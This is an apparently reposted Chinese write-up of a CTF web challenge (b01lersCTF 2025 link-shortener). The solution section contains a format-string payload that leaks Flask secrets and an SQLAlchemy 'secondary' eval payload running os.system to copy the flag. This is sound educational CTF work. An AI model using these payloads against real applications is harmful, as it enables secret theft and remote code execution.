两次解析格式化字符串 + 使用SQLAlchemy的relationship执行任意命令 -- link-shortener b01lersCTF 2025

题目描述: A fast and reliable link shortener service, with a new feature to add private links!

我们走一遍逻辑

注册

@app.route("/register", methods=['GET', 'POST'])  
def register():  """  用户注册路由,处理用户注册请求,验证用户名唯一性并保存用户信息到数据库  """create_tables()  if request.method == "POST":  # 从表单中获取用户信息  name = request.form["name"]  password = request.form["password"]  email = request.form["email"]  with Session() as session:  # 检查用户是否已存在  existing_user = session.query(Users).filter_by(name=name).first()  if existing_user:  return statusify(False, "User already exists")  # 对密码进行哈希处理  hashed_password = bcrypt.hashpw(password.encode("utf-8"), bcrypt.gensalt()).decode("utf-8")  # 创建新用户  new_user = Users(name=name, hashed_pw=hashed_password, email=email)  session.add(new_user)  session.commit()  return statusify(True, "Account successfully created.")  return render_template("register.html")

登录

@app.route("/login", methods=['GET', 'POST'])  
def login():  """  用户登录路由,处理用户登录请求,验证用户名和密码  """    if request.method == "POST":  # 从表单中获取用户信息  name = request.form["name"]  password = request.form["password"]  with Session() as session:  # 查询用户  user = session.query(Users).filter_by(name=name).first()  if user and bcrypt.checkpw(password.encode("utf-8"), user.hashed_pw.encode("utf-8")):  # 登录用户  login_user(user)  return statusify(True, "Logged in")  else:  return statusify(False, "Invalid Credentials")  return render_template("login.html")

这里不太对,返回是拼上去的,我们可以控制元组,我可以控制他们为函数吗?

from typing import Optional  
from sqlalchemy import ForeignKey, String  
from sqlalchemy.orm import DeclarativeBase, Mapped, mapped_column  
from flask_login import UserMixin  # 定义 SQLAlchemy 的基类,所有模型类都将继承自这个基类  
class Base(DeclarativeBase):  pass  # 定义 Links 模型类,对应数据库中的 links 表  
class Links(Base):  # 指定数据库表名  __tablename__ = "links"  # 定义主键字段 id    id: Mapped[int] = mapped_column(primary_key=True)  # 定义 url 字段,存储链接的 URL    url: Mapped[str]  # 定义 path 字段,存储链接的路径  path: Mapped[str]  # 定义对象的字符串表示形式,方便调试和打印对象信息  def __repr__(self) -> str:  return f"Link(id={self.id!r}, url={self.url!r}, path={self.path!r})".format(self=self)  # 定义 Users 模型类,对应数据库中的 users 表,同时继承 UserMixin 以支持 Flask-Loginclass Users(Base, UserMixin):  # 指定数据库表名  __tablename__ = "users"  # 定义主键字段 id    id: Mapped[int] = mapped_column(primary_key=True)  # 定义 name 字段,最大长度为 30    name: Mapped[str] = mapped_column(String(30))  # 定义 email 字段,可为空  email: Mapped[Optional[str]]  # 定义 hashed_pw 字段,存储用户的哈希密码  hashed_pw: Mapped[str]  # 定义对象的字符串表示形式,方便调试和打印对象信息  def __repr__(self) -> str:  return f"User(id={self.id!r}, name={self.name!r}, email={self.email!r})".format(self=self)  # 定义 PrivateLinks 模型类,对应数据库中的 privatelinks 表  
class PrivateLinks(Base):  # 指定数据库表名  __tablename__ = "privatelinks"  # 定义主键字段 id    id: Mapped[int] = mapped_column(primary_key=True)  # 定义 url 字段,存储链接的 URL    url: Mapped[str]  # 定义 path 字段,存储链接的路径  path: Mapped[str]  # 定义外键字段 user_id,关联到 users 表的 id 字段  user_id: Mapped[int] = mapped_column(ForeignKey("users.id"))  # 定义对象的字符串表示形式,方便调试和打印对象信息  def __repr__(self) -> str:  return f"Link(id={self.id!r}, url={self.url!r}, path={self.path!r})".format(self=self)
@app.route("/user/create", methods=['GET'])  
@login_required  
def create_private():  """  创建私有链接的路由,需要用户登录,验证 URL 有效性,生成唯一路径并保存到数据库  """    with Session() as session:  # 查询当前用户  user:Users = session.query(Users).filter_by(name=current_user.name).first()  print(user.name)  # 从请求参数中获取 URL        url = request.args.get("url", default=None)  # 验证 URL 是否有效  if url is None \  or len(url) > 130 \  or not match(r'^(https?://)?(?:www\.)?[a-zA-Z0-9-]+\.[a-zA-Z]{2,}(?:/[^\s]*)?$', url):  return statusify(False, "Invalid Url")  # 生成路径  path = gen_path()  # 确保路径对当前用户唯一  while any([link.path == path for link in session.query(PrivateLinks).filter_by(path=path, user_id=user.id).all()]):  path = gen_path()  # 将新私有链接添加到数据库  session.add(PrivateLinks(url=url, path=path, user_id=user.id))  session.commit()  return statusify(True, "user/" + path)

然后重定向

@app.route("/<path:path>", methods=['GET'])  
def handle_path(path):  """  处理公共链接路径的路由,根据路径查询数据库并重定向到对应的 URL"""    with Session() as session:  # 根据路径查询链接  link: Links = session.query(Links).filter_by(path=path).first()  if link is None:  return redirect("/")  return redirect(link.url)

flag在随机位置,这意味着我必须执行任意代码或者获得文件任意文件读取

RUN mv /tmp/flag.txt /$(head -c 16 /dev/urandom | xxd -p).txt

这个看着很怪

# 定义配置路由,只接受 POST 请求
@app.route("/configure", methods=['POST'])
def configure():# 声明全局变量global base_urlglobal ukwargsglobal pkwargs# 从请求中获取 JSON 数据data = request.get_json()if data and data.get("token") == app.config["TOKEN"]: # 如果数据存在且令牌正确,更新配置信息base_url = data.get("base_url")app.config["TOKEN"] = data.get("new_token")ukwargs = data.get("ukwargs")pkwargs = data.get("pkwargs")else:# 如果数据不存在或令牌错误,返回错误状态信息return statusify(False, "Invalid Params")# 返回成功状态信息return statusify(True, "Success")

没看出来漏洞 …

赛后 -----------------------------------------------------------------------------------------------------------

SQLAlchemy ORM是什么?

我们可以用一个 「仓库管理员」 的比喻,来形象地理解 SQLAlchemy ORM:

想象场景:

你有一个巨大的仓库(数据库),里面堆满了各种货物(数据)。仓库的货架结构复杂,每个货架对应一张表格(数据库表),比如「图书货架」「用户货架」等。传统方式中,如果你想存取货物,必须手动填写复杂的单据(写SQL语句),比如:

SELECT * FROM 图书货架 WHERE 价格 > 50;  -- 手动写SQL查询

但有了 SQLAlchemy ORM,仓库里会出现一个聪明的 「机器人管理员」,它帮你把仓库的复杂结构翻译成你熟悉的 Python 对象和代码!

机器人管理员(ORM)的工作方式:

  1. 用Python类定义货架结构
    你不再需要记住货架的复杂布局,而是用 Python 类描述货架:

    class 图书(Base):__tablename__ = '图书货架'  # 对应数据库表名id = Column(Integer, primary_key=True)  # 货架上的编号书名 = Column(String)价格 = Column(Integer)
    

    这个类就像一张「设计图」,告诉机器人管理员仓库里「图书货架」长什么样。

  2. 用Python对象操作货物

    • 存数据:不再写 INSERT INTO 图书货架...,而是创建一个 Python 对象:
      新书 = 图书(书名="Python编程", 价格=99)
      
    • 取数据:不再写 SELECT * FROM 图书货架,而是用 Python 语法查询:
      贵书 = session.query(图书).filter(图书.价格 > 50).all()
      
  3. 机器人自动翻译
    机器人管理员(ORM)会默默将你的 Python 操作翻译成 SQL 语句,像这样:

    session.add(新书)  # 机器人翻译成:INSERT INTO 图书货架 (书名, 价格) VALUES ('Python编程', 99);
    session.commit()   # 提交更改到仓库
    

__repr__

在 Python 中,__repr__ 是一个特殊的魔术方法(magic method),用于定义对象的“官方”字符串表示形式。它的目标是返回一个明确的、通常可执行的表达式字符串,理论上可以用这个字符串重新创建该对象。

核心作用

  1. 调试友好
    当你在交互式环境(如 Python Shell)中直接打印对象,或使用 repr(obj) 函数时,会调用 __repr__。它的输出应帮助开发者明确对象的状态。

  2. 重建对象
    最佳实践是让 __repr__ 返回的字符串看起来像有效的 Python 代码,以便通过 eval(repr(obj)) 重新生成对象(如果安全且可行)。

示例代码

class Person:def __init__(self, name, age):self.name = nameself.age = agedef __repr__(self):return f"Person(name='{self.name}', age={self.age})"p = Person("Alice", 30)
print(p)  # 输出:Person(name='Alice', age=30)
  • 未定义 __repr__ 时的默认行为
    默认继承自 object 类的 __repr__ 会返回类似 <__main__.Person object at 0x7f8b1c1e3d90> 的无意义信息。

  • 定义 __repr__
    输出更清晰的字符串,直接反映对象的关键属性。

__str__ 的区别

方法调用场景目标受众默认行为
__repr__repr(obj)、直接输入对象名开发者(调试)返回类名和内存地址
__str__str(obj)print(obj)终端用户默认回退到 __repr__
  • 优先级
    若未定义 __str__,Python 会使用 __repr__ 作为备用。

最佳实践

  1. 明确性
    输出应包含足够的信息以重建对象(如类名和关键参数)。

  2. 可执行性(可选)
    理想情况下,eval(repr(obj)) 应返回等价对象(需确保安全性)。

  3. 格式化规范
    通常返回 f"{self.__class__.__name__}(...)" 风格的字符串。

!r

在Python中,!r 是一种字符串格式化的转换符,用于在格式化字符串时调用对象的 repr() 方法。它的作用是将对象转换为“官方字符串表示”,通常用于调试或需要明确显示对象类型信息的场景。

核心作用

  • !r 会在格式化时调用对象的 repr() 方法,生成一个明确且无歧义的字符串表示。
  • 与之相对的 !s 会调用 str() 方法(生成用户友好的字符串表示),而 !a 会调用 ascii() 方法(生成ASCII安全的表示)。

使用场景

!r 常用于以下情况:

  1. 调试输出:显示变量的精确类型和内容(例如字符串的引号会被保留)。
  2. 需要明确对象信息:比如在日志中记录对象的结构或类型。

示例

name = "Alice"
print(f"普通输出: {name}")      # 输出: Alice
print(f"使用!r: {name!r}")     # 输出: 'Alice'(调用 repr(name))
class Person:def __repr__(self):return "Person()"p = Person()
print(f"{p}")    # 输出: Person()(默认调用 __str__,若未定义则调用 __repr__)
print(f"{p!r}")  # 显式调用 __repr__: Person()

当我们将如下链接缩短时

http://fake.com/{self._sa_registry.__init__.__globals__[Mapper].__init__.__globals__[sys].modules[__main__].app.config}

在all路由中将能看到这样的情况

 "Link(id=3, url='http://fake.com/\u003CConfig {'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'SECRET_KEY': '6bb16f1e31c759004f3d1df627bbaea43e9ed2d32612ad5e302685ad9b74ad1ec1ea79682d7c088d1f53ce54ff14c6370843206629b7ac6cdd0f73a1bfba8e3b', 'SECRET_KEY_FALLBACKS': None, 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(days=31), 'USE_X_SENDFILE': False, 'TRUSTED_HOSTS': None, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': None, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_PARTITIONED': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'MAX_FORM_MEMORY_SIZE': 500000, 'MAX_FORM_PARTS': 1000, 'SEND_FILE_MAX_AGE_DEFAULT': None, 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093, 'PROVIDE_AUTOMATIC_OPTIONS': True, 'SQLALCHEMY_DATABASE_URI': 'sqlite:///./db/links.db', 'TOKEN': 'b0d9c8f82a36c3314a1afab0171264bfcb6e220782517fe9c3d5d59a12bae5f64093e93d8c00d900200f94549608003fd3a81cbf16733ce336fb14cabae044e7'}\u003E', path='gVTQ')"

这是因为格式化字符串被二次解析

f"Link(id={self.id!r}, url={self.url!r}, path={self.path!r})".format(self=self)
f_str = f"User(id={self.id!r}, name={self.name!r}, email={self.email!r})"
return f_str.format(self=self)

接下来我们可以访问configure路由并篡改ukwargs

# 定义配置路由,只接受 POST 请求
@app.route("/configure", methods=['POST'])
def configure():# 声明全局变量global base_urlglobal ukwargsglobal pkwargs# 从请求中获取 JSON 数据data = request.get_json()if data and data.get("token") == app.config["TOKEN"]: # 如果数据存在且令牌正确,更新配置信息base_url = data.get("base_url")app.config["TOKEN"] = data.get("new_token")ukwargs = data.get("ukwargs")pkwargs = data.get("pkwargs")else:# 如果数据不存在或令牌错误,返回错误状态信息return statusify(False, "Invalid Params")# 返回成功状态信息return statusify(True, "Success")

这意味这我们可以控制 relationship 的参数

def create_tables():# 创建数据库检查器inspector = inspect(engine)if 'users' not in inspector.get_table_names():# 如果用户表不存在,定义用户和私有链接的关系并创建用户表Users.private_links = relationship("PrivateLinks", **ukwargs)Users.__table__.create(engine)if 'privatelinks' not in inspector.get_table_names():# 如果私有链接表不存在,定义私有链接和用户的关系并创建私有链接表PrivateLinks.users = relationship("Users", **pkwargs)PrivateLinks.__table__.create(engine)

基本关系模式 — SQLAlchemy 2.0 文档


Using a late-evaluated form for the “secondary” argument of many-to-many

Many-to-many relationships make use of the relationship.secondary parameter, which ordinarily indicates a reference to a typically non-mapped Table object or other Core selectable object. Late evaluation using a lambda callable is typical.

For the example given at Many To Many, if we assumed that the Table object would be defined at a point later on in the module than the mapped class itself, we may write the relationship() using a lambda as:association_table

class Parent(Base):
tablename = “left_table”

id: Mapped[int] = mapped_column(primary_key=True)
children: Mapped[List["Child"]] = relationship("Child", secondary=lambda: association_table
)

As a shortcut for table names that are also valid Python identifiers, the relationship.secondary parameter may also be passed as a string, where resolution works by evaluation of the string as a Python expression, with simple identifier names linked to same-named Table objects that are present in the same MetaData collection referenced by the current registry.

In the example below, the expression is evaluated as a variable named “association_table” that is resolved against the table names within the MetaData collection:"association_table"

class Parent(Base):
tablename = “left_table”

id: Mapped[int] = mapped_column(primary_key=True)
children: Mapped[List["Child"]] = relationship(secondary="association_table")

Note

When passed as a string, the name passed to relationship.secondary must be a valid Python identifier starting with a letter and containing only alphanumeric characters or underscores. Other characters such as dashes etc. will be interpreted as Python operators which will not resolve to the name given. Please consider using lambda expressions rather than strings for improved clarity.

Warning

When passed as a string, relationship.secondary argument is interpreted using Python’s function, even though it’s typically the name of a table. DO NOT PASS UNTRUSTED INPUT TO THIS STRING.eval()


secondary 是 SQLAlchemy 中用于定义多对多关系的“中间人”,它指向一个关联表(Association Table),告诉 ORM 如何通过这个中间表连接两个主表。

举个现实例子

想象你要管理一个 学生选课系统

  • 学生表students):记录学生信息
  • 课程表courses):记录课程信息
  • 关联表enrollments):记录哪个学生选了哪门课(学生ID + 课程ID)

这里的 enrollments 就是 secondary 指向的中间表。通过它,一个学生可以选多门课,一门课也可以被多个学生选。


代码解析 🔍

# 1. 定义中间表(secondary 指向它)
enrollments = Table("enrollments",Base.metadata,Column("student_id", ForeignKey("students.id")),Column("course_id", ForeignKey("courses.id"))
)# 2. 在学生表中定义多对多关系
class Student(Base):__tablename__ = "students"id = Column(Integer, primary_key=True)# ▼ 关键:通过 secondary 指定中间表 ▼courses = relationship("Course", secondary=enrollments)# 3. 课程表无需特殊定义
class Course(Base):__tablename__ = "courses"id = Column(Integer, primary_key=True)

secondary 的作用 🛠️

  1. 自动管理关联表
    当你操作 student.courses.append(course) 时,SQLAlchemy 会自动在 enrollments 表中插入关联记录。

  2. 查询导航
    可以直接通过 student.courses 获取学生选的所有课程,无需手动写 JOIN 查询。

  3. 解耦主表
    学生表和课程表无需直接包含对方的信息,所有关联逻辑由中间表处理。

为什么需要它? 🤔

  • 多对多关系的本质:直接在主表中无法表达“一个学生选多门课,一门课有多个学生”的关系。
  • 中间表必要性:必须通过第三个表存储关联关系(类似现实中的购物车记录订单和商品的关系)。

secondary 会在eval中解析

ukwargs={"back_populates": "users","secondary": "__import__('os').system('cp /f* templates/sponsors.html')"
}

最后访问 /register 触发

@app.route("/register", methods=['GET', 'POST'])
def register():# 调用创建表的函数create_tables()

再访问/sponsors

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/79836.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

后端id类型为long类型时,返回给前端浏览器四舍五入,导致id精度缺失问题

背景 今天在代码里&#xff0c;掉了别人写的接口&#xff0c;有个id的字段是long类型的&#xff0c;我这边加点参数返回给前端&#xff0c;然后前端根据id修改&#xff0c;结果修改的数据记录有&#xff0c;但是没起作用&#xff0c;后来发现根据他传给我的id在后台数据库查不…

Scartch038(四季变换)

知识回顾 1.了解和简单使用音乐和视频侦测模块 2.使用克隆体做出波纹特效 3.取色器妙用侦测背景颜色 前言 我国幅员辽阔,不同地方的四季会有不同的美丽景色,这节课我带你使用程序做一个体现北方四季变化的程序 之前的程序基本都是好玩的,这节课做一个能够赏心悦目的程序。…

JVM happens-before 原则有哪些?

理解Java Memory Model (JMM) 中的 happens-before 原则对于编写并发程序有很大帮助。 Happens-before 关系是 JMM 用来描述两个操作之间的内存可见性以及执行顺序的抽象概念。如果一个操作 A happens-before 另一个操作 B (记作 A hb B)&#xff0c;那么 JMM 向你保证&#x…

从 Eclipse Papyrus / XText 转向.NET —— SCADE MBD技术的演化

从KPN[1]的萌芽开始&#xff0c;到SCADE的推出[2]&#xff0c;再到Scade 6的技术更迭[3]&#xff0c;SCADE 基于模型的开发技术已经历许多。现在&#xff0c;Scade One 已开启全新的探索 —— 从 Eclipse Papyrus / XText 转向.NET 8跨平台应用。 [1]: KPN, Kahn进程网络 (197…

osquery在网络安全入侵场景中的应用实战(二)

背景 上次写了osquery在网络安全入侵场景中的应用实战(一)结果还不错,这次篇目二再增加一些场景。osquery主要解决的时员工被入侵之后电脑该如何溯源取证的问题。通常EDR会有日志,但是不会上报全量的日志。发现机器有恶意文件需要上级取证的时候,往往是比较麻烦的,会有这…

opencv+opencv_contrib+cuda和VS2022编译

本文介绍使用OpenCV和OpenCV_Contrib源码及Cuda进行编译的过程&#xff0c;编译过程中会用到OpenCV、OpenCV_Contrib、Toolkit、Cmake、VS2022等工具&#xff0c;最终编译OpenCV的Cuda版本。 一、OpenCV下载地址 OpenCV官网下载地址:https://opencv.org/releases/#&#xff0…

spring中的@ConfigurationProperties注解详解

一、核心功能与作用 ConfigurationProperties 是Spring Boot中用于将外部配置&#xff08;如application.properties或application.yml中的属性&#xff09;绑定到Java对象的核心注解。其核心功能包括&#xff1a; 配置集中管理&#xff1a;将分散的配置属性按前缀绑定到Java类…

【C/C++】函数模板

&#x1f3af; C 学习笔记&#xff1a;函数模板&#xff08;Function Template&#xff09; 本文是面向 C 初学者的函数模板学习笔记&#xff0c;内容包括基本概念、定义与使用、实例化过程、注意事项等&#xff0c;附带示例代码&#xff0c;便于理解与复现。 &#x1f4cc; 一…

电子病历高质量语料库构建方法与架构项目(智能数据目录篇)

电子病历高质量语料库的构建是医疗人工智能发展的基础性工作,而智能数据目录作为数据治理的核心组件,能够有效管理这些语料资源。本文将系统阐述电子病历高质量语料库的构建方法与架构,特别聚焦于智能数据目录的设计与实现,包括数据目录的功能定位、元数据管理、构建步骤以…

前端懒加载(Lazy Loading)实战指南

&#x1f680; 前端懒加载&#xff08;Lazy Loading&#xff09;实战指南 懒加载是现代 Web 性能优化的“常规操作”。它的目标简单直接&#xff1a;让用户只加载“当下真正需要的资源”。从静态资源、组件、模块到数据&#xff0c;每一层都可以使用懒加载技术&#xff0c;构建…

在 Ubuntu 系统中,查看已安装程序的方法

在 Ubuntu 系统中&#xff0c;查看已安装程序的方法取决于软件的安装方式&#xff08;如通过 apt、snap、flatpak 或手动安装&#xff09;。以下是几种常见方法&#xff1a; 通过 apt 包管理器安装的软件 适用于通过 apt 或 dpkg 安装的 .deb 包。 列出所有已安装的软件包&…

性能优化实践:性能监控体系

性能优化实践&#xff1a;性能监控体系 在Flutter应用开发中&#xff0c;建立一个完善的性能监控体系对于保证应用质量和用户体验至关重要。本文将从实战角度深入讲解如何搭建Flutter应用的性能监控体系&#xff0c;包括监控指标的设计、数据采集实现、分析平台搭建等内容。 …

kotlin 02flow-sharedFlow 完整教程

一 sharedFlow是什么 SharedFlow 是 Kotlin 协程中 Flow 的一种 热流&#xff08;Hot Flow&#xff09;&#xff0c;用于在多个订阅者之间 共享事件或数据流。它适合处理 一次性事件&#xff08;如导航、弹窗、Toast、刷新通知等&#xff09;&#xff0c;而不是持续状态。 ✅ …

模拟开发授权平台

这次只是实现应用的curd和公私钥的校验以及第三方的通知dmeo项目&#xff0c;大家可以拓开视野来编写 进入主题 项目链接&#xff1a;桌角的眼镜/develop_auth_platform 直接下拉并运行就行 回调应用代码在test包中 回调应用测试代码 package mainimport ("encoding/…

STM32 USART串口

一、通信接口 二、串口通信 串口是一种应用十分广泛的通讯接口&#xff0c;串口成本低、容易使用、通信线路简单&#xff0c;可实现两个设备的互相通信单片机的串口可以使单片机与单片机、单片机与电脑、单片机与各式各样的模块互相通信&#xff0c;极大地扩展了单片机的应用…

uniapp开发06-视频组件video的使用注意事项

uniapp开发-视频组件video的使用注意事项&#xff01;实际项目开发中&#xff0c;经常会遇到视频播放的业务需求。下面简单讲解一下&#xff0c;uniapp官方提供的视频播放组件video的常见参数和实际效果。 1&#xff1a;先看代码&#xff1a; <!--视频组件的使用展示-->…

【爬虫】微博热搜机

第一个下面一点&#xff1a; js代码&#xff1a; const n require("crypto-js");let s n.SHA1(n.enc.Utf8.parse("tSdGtmwh49BcR1irt18mxG41dGsBuGKS")) , a n.enc.Hex.parse(s.toString(n.enc.Hex).substr(0, 32));function h(t) {let e (i t Stri…

软考 系统架构设计师系列知识点之杂项集萃(51)

接前一篇文章&#xff1a;软考 系统架构设计师系列知识点之杂项集萃&#xff08;50&#xff09; 第80题 设三个煤场A1、A2、A3分别能供应煤7、12、11万吨&#xff0c;三个工厂B1、B2、B3分别需要10、10、10万吨&#xff0c;从各煤场到各工厂运煤的单价&#xff08;百元/吨&…

npm,yarn,pnpm,cnpm,nvm,npx包管理器常用命令

前端比较主流的包管理器主要有三个npm&#xff0c;yarn&#xff0c;pnpm 多层级依赖&#xff0c;通常发生在依赖之间存在复杂的版本要求时 包 A 依赖于包 B1.0.0 包 B 依赖于包 C2.0.0 另一个包 D 也依赖于 C3.0.0 一、NPM (Node Package Manager) https://www.npmjs.cn/…

科普简洁版:同态加密——密码学的未来瑰宝

文章目录 一、同态加密的基本概念1.1 什么是同态加密1.2 同态加密的数学本质1.3 同态加密的类型 二、主要同态加密方案详解2.1 ElGamal加密2.2 Paillier加密2.3 Gentry的完全同态加密方案2.4 BGV方案2.5 BFV方案2.6 CKKS方案 三、同态加密的关键技术3.1 噪声管理技术3.2 多项式…